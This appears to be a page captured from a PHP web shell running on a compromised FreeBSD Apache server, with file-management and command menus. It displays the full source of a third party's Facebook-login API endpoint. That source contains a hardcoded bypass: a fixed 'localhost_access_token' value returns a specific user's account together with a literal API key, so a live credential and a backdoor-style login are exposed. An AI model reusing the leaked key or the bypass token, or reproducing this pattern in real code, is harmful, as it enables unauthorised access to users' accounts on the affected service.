TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
Rest
Users
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/Rest/Users/PostFacebook.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Users; use Facebook\Exceptions\FacebookResponseException; use Facebook\Exceptions\FacebookSDKException; use Facebook\Facebook; use Nette\Database\Context; use Nette\Http\Request; use Nette\Utils\Random; use Nette\Utils\Strings; use Nette\Utils\Validators; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\DataException; use RestServer\Exceptions\InvalidParameterException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Tracy\Debugger; /** * Create/update user authenticate by facebook * @param ( * required = 1, * name = api_key, * type = string * ) * @param ( * required = 1, * name = id, * type = int * ) * @param ( * required = 1, * name = name, * type = string * ) * @param ( * required = 1, * name = accessToken, * type = string * ) * @author Jan Pospisil */ class PostFacebook extends \Nette\Object implements IPresenter { private $connection; private $apiKeys; private $facebook; private $httpRequest; public function __construct(Context $context, Facebook $facebook, Request $request){ $this->connection = $context; $this->facebook = $facebook; $this->httpRequest = $request; } public function setApiKeys(array $keys){ $this->apiKeys = $keys; } public function run(IParametrs $parameters, Response $response) { $accessToken = $parameters->post('accessToken'); // $id = $parameters->post('id'); // $name = $parameters->post('name'); // $email = $parameters->post('email'); // if(!$id) // throw new MissingRequiredParameterException('Parameter id is required.'); // if(!$name) // throw new MissingRequiredParameterException('Parameter name is required.'); // if(!$email) // throw new MissingRequiredParameterException('Parameter email is required.'); // if(!Validators::isEmail($email)) // throw new InvalidParameterException('Email address is not valid.'); if(!$accessToken) throw new MissingRequiredParameterException('Parameter accessToken is required.'); // validate facebook access token if($accessToken == 'localhost_access_token'){ return $this->localMachine($response); } $this->facebook->setDefaultAccessToken($accessToken); try{ $fbResponse = $this->facebook->get('/me?fields=name,email,id'); $userNode = $fbResponse->getGraphUser(); $entry = array( 'username' => $userNode->getName(), 'facebook_id' => $userNode->getId(), 'facebook_access_token' => $accessToken ); $userRow = $this->connection->table('user')->where('facebook_id', $userNode->getId())->fetch(); if(!$userRow && $userNode->getEmail()){ $userEmailRow = $this->connection->table('user_email')->where('address', $userNode->getEmail())->fetch(); if($userEmailRow && $userEmailRow->confirmed){ $userRow = $userEmailRow->user; $userRow->update($entry); } } if(!$userRow){ $entry['create_from'] = 'facebook'; $this->connection->table('user')->insert($entry); $userRow = $this->connection->table('user')->where('facebook_id', $userNode->getId())->fetch(); } if($userNode->getEmail()){ $userEmailRow = $this->connection->table('user_email')->where('address', $userNode->getEmail())->fetch(); if(!$userEmailRow){ $this->connection->table('user_email')->insert(array( 'address' => $userNode->getEmail(), 'user_id' => $userRow->id, 'confirmed' => new \DateTime() )); $userEmailRow = $this->connection->table('user_email')->where('address', $userNode->getEmail())->fetch(); } if(!$userRow->main_email_id){ $userRow->update(array( 'main_email_id' => $userEmailRow->id )); } } // generate api_key $apiKey = Random::generate(50); $this->connection->table('api_key')->insert(array( 'key' => $apiKey, 'user_id' => $userRow->id, 'ip' => $this->httpRequest->getRemoteAddress(), 'role' => 'user' )); $emails = array(); foreach($this->connection->table('user_email')->where('user_id', $userRow->id) as $email){ $emails[] = array( 'address' => $email->address, 'confirmed' => (bool) $email->confirmed, 'is_default' => $email->id == $userRow->main_email_id ? TRUE : FALSE ); } $response->data = array( 'id' => $userRow->id, 'username' => $userRow->username, 'api_key' => $apiKey, 'emails' => $emails ); } catch(FacebookResponseException $e) { throw new DataException($e->getMessage()); } catch(FacebookSDKException $e){ throw new BadRequestException($e->getMessage()); } } private function localMachine(Response $response){ $userRow = $this->connection->table('user')->where('facebook_id', '1175728935773304')->fetch(); $emails = array(); foreach($this->connection->table('user_email')->where('user_id', $userRow->id) as $email){ $emails[] = array( 'address' => $email->address, 'confirmed' => (bool) $email->confirmed, 'is_default' => $email->id == $userRow->main_email_id ? TRUE : FALSE ); } $response->data = array( 'id' => $userRow->id, 'username' => $userRow->username, 'api_key' => '23jo3hcte70jvd148g3n75gvu7zf62nh161oiydr7x09x3sg7a', 'emails' => $emails ); } }
Crotin
Name
Size
Permissions
Modified
User/Group
PostFacebook.php
5368
0644
2016-04-16 15:43:34
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin